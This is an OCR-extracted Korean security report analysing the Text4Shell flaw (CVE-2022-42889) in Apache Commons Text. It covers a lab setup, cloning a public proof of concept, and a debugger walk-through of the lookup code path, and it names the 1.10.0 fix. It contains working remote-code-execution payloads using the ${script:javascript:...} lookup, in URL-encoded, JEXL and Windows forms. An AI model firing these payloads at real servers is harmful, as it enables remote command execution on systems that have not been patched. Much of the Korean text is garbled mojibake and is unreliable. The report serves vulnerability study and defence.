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0|8 g
Ubuntu 20.04 LTS
(192.168.100.128)

| s <t
JDK 11 version
Apache Commons Text 1.9.0 version
Kali Linux 2022
24%

(192.168.100.129)

B _:‘rz_lol:z-l F_-"AE
Step 1. PoC HIAE
HAEZ 9|3t PoC 7} AAE GitHub URL & th&at Zoh,

— URL : https://github.com/cxzero/CVE-2022-42889—text4shell.git

1) git clone H#HolE E3 CVE-2022-42889 PoC7} AAH gite] u}d thegt

HAHO | $ sudo git clone https://github.com/cxzero/CVE-2022-42889-text4shell.git

:~$ sudo git clone https://github.com/cxzero/
[PoC tte=2E]

2) theRE © HeEez oEste] mavend T4 WE Y

$ cd CVE-2022-42889-text4shell
$ mvn clean package —DskipTests

$ cd CVE-2022-42889-textdshell/
$ mvn clean package -DskipTests

NARNING: An illegal reflective access operation has occurred

[maven W= ZdY]
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3) target A EF 2 o]Fsto] A

H jar ot Al

H210] $ cd target
$ java -jar spring-boot-0.0.1-SNAPSHOT jar

$ cd target/
S 1s

$ java -jar spring-boot-0.0.1-SNAPSHOT. jar

[target/spring—boot—0.0.1-SNAPSHOT .jar]

4) A2 kali)7F T si#F A (Ubuntuw) ol Al Text4Shell & &89 94 FE(RCE) A9

rdo
ih]

3L | "touch /tmp/EQST-Insight”
oy
o

L

tmp CIMEZ] 20| EQST-Insight2t= MY d-d5t= HHO

Ho|2 http://192.168.100.128/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang

.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2FEQST-Insight%27)%7D
y Request to http://192.168.100.128:8080
Forward Drop Action Open Browser
Raw  Hex

Comm
n =

pt%BAjava.Iang.Runtime.getRuntime().exec(%27touch%2@%2thp%2FEQST-Insight%27)%TD|HTTP/1.1
080

mne d
%24%7Bscri
2 Host: 19

ascri|

[Text4Shell Ho]2E]

5) =)o Ubuntu) AHA /tmp ZCjo] THel A4 8o

= o j
$ cd /tmp
LY
$ s
:~S cd /tmp/
S 1s
config-err-Ts8nca

EQST-Insight

[EQST-Insight =¥ A4 &<l]
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Step 1. FFH 7la
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Step 2. =2 H7to[7H?

=g B2 mzg#w] Adoj9l Python, javascript SolA AF AMREE J|HoR FF
glolgE wop ggst= WRolth. odlE &°] Animal o= WHgo] ‘Cate ETET F
${Animal}= FHstH ¥ FEEAE Fto] ZALe] E07 tiAl= o] EYE = WAlolth &,
${Hol 51 FAS ARGSHH oA ' FFE ol E¥EA Hoh. StringSubstitutor

Ze)2 EG 0|9} o] FAgit,

22 Java 9] BxE HIF oA|o|t},

const Animal =
console.log("I love| ${Animal}} " );

[javaoll Al EAE B3 A]

Apache Commons Text ¢ Ex4E BE7F2 ulg] AHoH g7
&5 5ol B FAIQ ${Prefix:Name} FH 2] HF F AL
S )

=
goE At Be B2 TR 955 Weolnl, Name & 4 golc.

Apache Common Text ] #2148 Rt ¥4l oh33t g,

& r

String str = "You have-> |${java:version}'|;
string rep = interp.r‘eplace(sty

output: You have-> |Java version 19
String str = “"You are-> |${env:USER}"|;

tring rep = interp.replacefstr);

output: You are->|ubuntu

[Apache Commons TextolA2] Bxd HIF oA
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AA| 2 Apache Commons Text oA Al
StringLookup ZAE BEa|oF g}, owﬂ ors sE9] 97 FEA
o] Key & % dns, url, script 9|4 F o] whAgghct,

22 Default StringLookup a8~ 9] H7F E=9] dHolrt

[Default Strings Lookup &=]

key Method since
base64Decoder base64DecoderStringLookup() 1.6
base64Encoder base64EncoderStringLookup() 1.6
const constStringLookup() 1.5
date dateStringLookup() 1.5
java envStringLookup() 1.3
dns dnsStringLookup() 1.8
url urlStringLookup() 1.5
script scriptStringLookup() 1.5

S nge] FEe WMo HPHE e AEHOR AT 4 glol, olmF groz B
R=x o ARgste] F2e= Adsty] s ARHEHTE ot StringSubstitutor S#A0] Bz
Aold A HZF F oFel DataStringlookup SHAE 48 42 Bl AFgste olA9] &2
Tt
@ 2z infosec
‘ool wuic FEte TR IR
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RS 2R Bzt gl Nam:iyiobzaztio-ﬁ 0] [DataktringLookup Sa4
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) Apache Commons Text9| HolEl EXE H7F AHEES M
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mjo
>

%
= Lookup —’FOﬂA‘l Key= Date2 HSIZ|1 Value= 2022-10-252 FE$HCL,
22 DateO|E 2, Default Stringlookupl| 5% & DateStringlookup Z2iA

-—

(5) DateStringLookup Z2iA= B+E AAHCE

=
(6) "2E9| ER= 2022-10-25"7F &= EIC}

Step 3. LA &

F ool Aot EAFE HIF 55921 dns, url, script & Prefix 2 AAStal Name o 42 ZEE
AEstH FAAZE Hdote FE7t AHEoA AdHEoh o2 F=+= AR o9 e SOl
wAE Hbe AMgSte @] oAl AT Eolth Java 11 B @F0A PO, script £AHE
H7EE 835 9o 7= AYRCE) 540] 7Hs3t &= A5t

private String interpolate(String input) {
final StringSubstitutor interpolator = StrlngSubstltutor createInterpolatorC
String out = interpolator. replace(lnput) 2
System.out.println(out);

return out;
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(case 1) BAAQA &
2 93l http://192.168.100.128/message?=EQST—

4% AHEA7E EQST-Insight #f= 244 &9
£ Agst= 42, ot 522 A& EQST-Insight 7} AAH o2 ZHEE 7S 2l

Insight & A4
infosec

. € http://192.168.100.128/message?HEQST-Insight]| | _
> . —_—
@ L E—a
~ [=: =]

2 At

A SR

Print out: EQST-Insight
° Q g | private String interpolate(String input) {
e final StringSubstitutor interpolator =|String$u bstitutor.createlnterpolator() |

9 String out =linterpolator.replace(input);|
System.out.println{out);
return out;

}

[EA4 B3t &9 &3 #4 &2 FE

192.168.100.128

EQST-Insight

& &9 27

[EAE B A48 A
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TAAL wlg A" script £4Y9 H7ES F45)] wo|2rs Adeitt oSS script 241G

"Script: [f{script:javascript:3 + 4}\n]

[script B2t HZF §4]]

HFH 02 TextdShell o] Ho|REE Thed} o] wHEoA AT, URL & FoiA W4tz URL
Encoding & 283t 5§ Z%dfjoF it

Text4Shell

H 0|2 E ${scriptjavascriptjava.lang.Runtime.getRuntime().exec('touch /tmp/EQST-Insight)}#

gof JEXL 12 A48 399 34 delzsi thgw gk

JEXL QiIEl ${script:JEXL:".getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘touch  /tmp/EQST-
Hg A Insight")}
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g Bk @ﬂﬂTM1mhm&”iﬂH =5 Aget, dgite gho] script o] 22+
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FPAlel $iscriptijavascript:@gollo|Bg “"E 7]ZFO & Prefix ¢ Name, HEo] 3 7]
dgog FEJ FE2H FoA Prefix = script 2 Name 2 javascript 2 507131, o
BES mg HAste] 3 7§e] mE(script, javascript, B2 E&HT  o]% Key o €XA|st=
ScriptStringLookup 142 &5 $E519 ‘touch /tmp/EQST-Insight’ & o7} A&},

infosec

T
o http://192.168.100. 128,{message?:$']scriptfavascript:java.lang‘Runtime.getRuntime(}‘exec(‘touch ,I'EQST-Insight|']1
L
|; |- [ ]
.
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private string interpolate(String input) {

final StringSubstitutor interpolator = StringSubstitutor.createlnterpolator();

Bo

Of)
di
>

@ Printout:|process[pid-4498), exitValue=0|f

0 String out = interpolator.replace(input);

e System.out.printin{out);
1 ! return out;
I 1.Ho|RE HEF | } ’
| 2.replace g% 4y i
I 3. InterpolatorStringLookup g4 M4 | v
| 4.RCENY !
-

| Lookup :/ScriptStringLookup

©) Prefix : "Script]
| name: ["Javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/EQST-Insight’}" |

[Text4Shell- & &3t script AE H7F ohg]

? Host: 192.168.1007
$ cd /tmp
$ s

config-err-tJRNkP
EQST-Insight

[Text4Shell& 94 4P FHo 3 23]
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[Text4ShellS 927 I $PT o &SI F54EQ 55 A5}

"${script;javascript;java.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-
Insight')}"
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(A =] 553 75

Ry 7Is
createlnterpolator() Apache 2| Commons-Text 2| H2|El ZAtY E7F AFEE MRSt &=
sHoz YHE US FE= o
replace() oHof SUYEN™ EXAY HIe=z HHHStL Y e XY dHEE
substitute &0 ME
) replace (OIAH TEHE U T EXYE H7b HA FEES /6 $E
substitute() -
JECR XEE B
. M2 EXEE  getStringlookup()E Sl SEO0M ==[5t7] 2zt
resloveVariable() N
2
getStringLookup() InterpolatorStringLookup E2iA2| Lookup E+E ZESH7| ot &=
. S JIELRE Prefix @ Name 2 FESL Prefix & Key 2 H2I510]
InterpolatorStringLookup.Lookup() L e o
Key @ LX|S}= Stringlookup 222 =
StringLookup.Lookup( InterploatorStringLookup  Bt=0flAl  Z3|E Key 2 €X|5l= ZULE
ringLookup.Looku s "
J P P Default StringLookup =E0|A Z32|5t0] HAEE oA

e 7w W A EAelt

1. replace &

$U eI =] AAFSFAL, substitute

st

A
aT

replace(java.lang.String)

3
4
5 public class App {

6= public static void main(String[] args) {

import org.apache.commons.text.StringSubstitutor;

StringSubstitutor interpolator = StringSubstitutor. create/nterpolaton);

7
8
9

String out = interpo\atorireplace("${scr'\pt:javascn'pt:java.Iang.Runtime.getRuntime().exec('cmd /c type NUL > EQST*Insgiht')}");l

}
10}

Name Value

., o this

|StringSubstitutor (id=26) |

> O source

| "${scriptjavascriptjava.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-Insgiht’)}" (id=27) |

» @ buf

TextStringBuilder (id=32)

%

w7 A

[replace ¥
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. BAE L] ZHolE AR H, “$7E &lstal FE5}19] resolveVariable 4ol AEgth
e | substitute(org.apache.commons.text.TextStringBuilder, int, int)
= StringSubstituturlsubst]tut_etrextStringBuilder, int, int, List<String>) line: 1433
= StringSubstitutor substitute(TextStringBuilder, int, int) line: 1308
= StringSubstitutor.replace(String) line: 816
= App.main(String(]) line; &
(x)= Variables X @g Breakpoints €Y Expressions
Name Value
» o this StringSubstitutor (id=26)
» @& builder TextStringBuilder (id=32)
@ offset ]
o [length 90 |
» (3 priorVariables  Arraylist<E> (id=42)
. @ prefixMatcher  AbstractStringMatcher$ChararrayMatcher (id=36)
» @ suffixMatcher  AbstractStringMatcher$SCharMatcher (id=20)
o | escapeCh s |
» & varNameExpr |“scriptj iptjava.lang Runtime. i ¥ N T-1nsqi (id=51)
@ endPos 90

[substitute g5 T 7 A}

el

2 Ag

e

3. getStringLookup() el A gh& ot InterpolatorStringLookup() =8

resloveVariable

StringSubstitutor|resolveVaﬂablg(String, TextStringBuilder, int, int) line: 1063
StringSubstitutor substitute(TextStringBuilder, int, int, List<String>) line: 1433
stringSubstitutor.substitute(TextStringBuilder, int, int) line: 1308
StringSubstitutor.replace(String) line: 816

App.main(String[]) line: 8

4

0 10E 000100000 | ok

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,
final int endPos) {
final StringLookup resolver =|getStringLookup();
if (resolver == null) {
return null;
}
return resolver.lookup(variableName);

}

(x)= Variables 3¢ @g Breakpoints &7 Expressions e RE 8§ <
Name Value
» o this StringSubstitutor (id=26)
> @ variableName  "scriptjavascript;java.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-Insgiht’)" (id=51)
> @ buf TextStringBuilder (id=32)
@ startPos 0
@ endPos 90
» @ resolver | InterpolatorStringLookup (id=53) I

[resloveVariable $+4 T/¥7] A3}
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b

"2 7)1ZF0 =2 Prefix, Name & U=t}

g

= | InterpolatorStringLookup.Lookup

linterpolatorStringLookup.lockup}String) line: 135

StringSubstitutor.resolveVariable(String, TextStringBuilder, int, int) line: 1067
StringSubstitutor substitute(TextStringBuilder, int, int, List<String>) line: 1433
StringSubstitutor.substitute(TextStringBuilder, int, int) line: 1308
StringSubstitutor.replace(String) line: 816

App.main(String[]) line: 8

(x)= Variables > | ®g Breakpoints &% Expressions HE &8 =
Name Value
s> a this InterpelaterStringlockup (id=53)
> @ var |"script:javascript:java.Iang_Runtime_getRuntimeo_exec(’cmd /c type NUL > EQST-Insgiht’)" |(id:51)
o prefixPos 6
| ® prefix "script” (id=68)
»| ® name "javascriptjava.lang.Runtime.getRuntime().exec('cmd /c type NUL = EQST-Insgiht')" (id=69)
@ lookup ScriptStringLookup (id=70)
© value null

5. script & Prefix:Name: o] e] Jefjo]7] wfj&o] “"S 7|&F0 2 thA] A2

[InterpolatorStringLookup &< t¥Z Z3}]

oot

= | ScriptStringLookup#lookup

[ScriptStringLookup.lookup{String) line: 82

101000000

InterpolatorStringLookup.lookup(String) line: 135
StringSubstitutor.resolveVariable(String, TextStringBuilder, int, int) line: 1067
StringSubstitutor.substitute(TextStringBuilder, int, int, List<String=) line: 1433
StringSubstitutor.substitute(TextStringBuilder, int, int) line: 1308
StringSubstitutor.replace(String) line: 816

App.main(String(]) line: 8

(x)=Variables X ©g Breakpoints & Expressions

Name Value
a this ScriptStringLookup (id=70)
» & key “javascriptjava.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-Insgiht)” (id=69)
v |G keys String[2] (id=77)
a [0 "javascript” (id=79)
a [1] "java.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-Insgiht)" (id=80)
@ keylLen 2
> @ engineName  “javascript” (id=79)
. @ script "java.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-Insgiht)"|(id=80)

[ScriptStringLookup E#|22] g4 t¥7] A3}
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6. AP (RCE)°]

PC » windows (C)) »
| .classpath

| .gitignore
|_project

| EQST-Insgiht
| HELP.md

MEX; »

= [e] 2~
ZFsto] mpalo] HAE 2AS B 5 ek
» textdshelldemo » demo w 0
=25 SN =" =27
2022 30 2F 633 CLASSPATH Lt 2KE
2022 30 2% 9:33 PROJECT L' A
2022 30 2% 933 D e o

AEZA O 7 Text4Shell o
createlnterpolator <=2}
Prefix Q1 dns, url, script
UrlStringLookup E8AE

Zoret o
replace
o 97

SE

ek

[Text4Shell 238 A}

9] Apache Commons Text |4 StringSubstitutor 22|

42 Agstd, mle Aold BAG Bz BRo|4 ekt
Al ]II

=

FE HEsto] ScriptStringLookup, DnsStringLookup,
o 7] wfZell Fefstet

EQST insight | 17



H CjE uiot

O -

A el Al AFE F<l Apache Commons Text gfolE&ge] HAS =l & FHokelt HAd A%
1.10.0 o] HHdo=z gHo|Eqttt.

Adlo|EH WA A= TextdShell o HFHA EAE HIF Z2<21 url, dns, script 7} Default 2
Z3txlo] Q1] ko, Prefix & A & 4 g #A HA

AElA 7HEAeR Rl dHClEZE EVMEE AS, AR dE @ A o FoRet
= _/:?_1 StringSubstitutor 22 2A9]  createlnterpolator ¥t replace 7t AREEEA]
gelsty, AMEEE A% ${f FEY o™ Fs THPSH Aol ZEE A&ste] AR
“53301 AR R] QI = FA|SfjoF jirt,

Default String Lookups
Key Interface Factory Method Since
"base64Decoder” 5t ringlookup basebdDecoderStringlookupi) 1.6
"base64Encoder” Stringlookup baseBdEncoderStringlookupl) 1.6
"const" stringlookup constant Stringlookup( ) 1.5
"date" stringlookup dateStrinalookupd) 15
"env" Stringlookup environnentyariablestrinalookusl) 1.3
"file" Stringlookup fileStringlookup() 15
"java" Stringlookup javaPlat fornstringlookup() 1.5
"localhost” Stringlookup |ocalHost Stringlookup ) 1.3
"properties” Stringlookup propert i esstrinalookupi) 1.5
"resourceBundle” 5t ringlookup resourceBundl eStringlookupi ) 1.6
"sys" Stringlookup systenPropertystrinalookupt) 1.3
"urlDecoder” St ringlookup ur | Decoder 5t rinalookupi ) 1.5
"urlEncoder” St ringlookup ur |Encoder 5t rinalookupi ) 1.5
"sm]" stringlookup =ml Stringlookunt) 1.5
Additional String Lookups (not included by default)
Kev Interface Factory Method Since
"dns"  Stringlookup dnsStringlookup() 1.8 Default StringLookups
"url”  Stringlookup urlStringlookupl] 1.5 je—l A 220M H
"seript” 5t ringlookup scriptstringlookunt) 1.5

[Default StringLookup 1.10.0 version E-%]
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« URL: https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep—calm—and-
stop—saying—4shell/

« URL: https://nakedsecurity.sophos.com/2022/10/18/dangerous—hole—in—apache-commons—
text—like—log4shell-all-over—again/

« URL: https://commons.apache.org/proper/commons—text/apidocs/org/apache/commons/text/
StringSubstitutor.html
« URL: https://checkmarx.com/blog/cve—2022-42889-text4shell-vulnerability—breakdown/

« URL: https://www.tarlogic.com/blog/cve—2022-42889—critical—vulnerability—affects—apache—

commons—text/

« URL: https://paper.seebug.org/1993/

EQST insight | 19





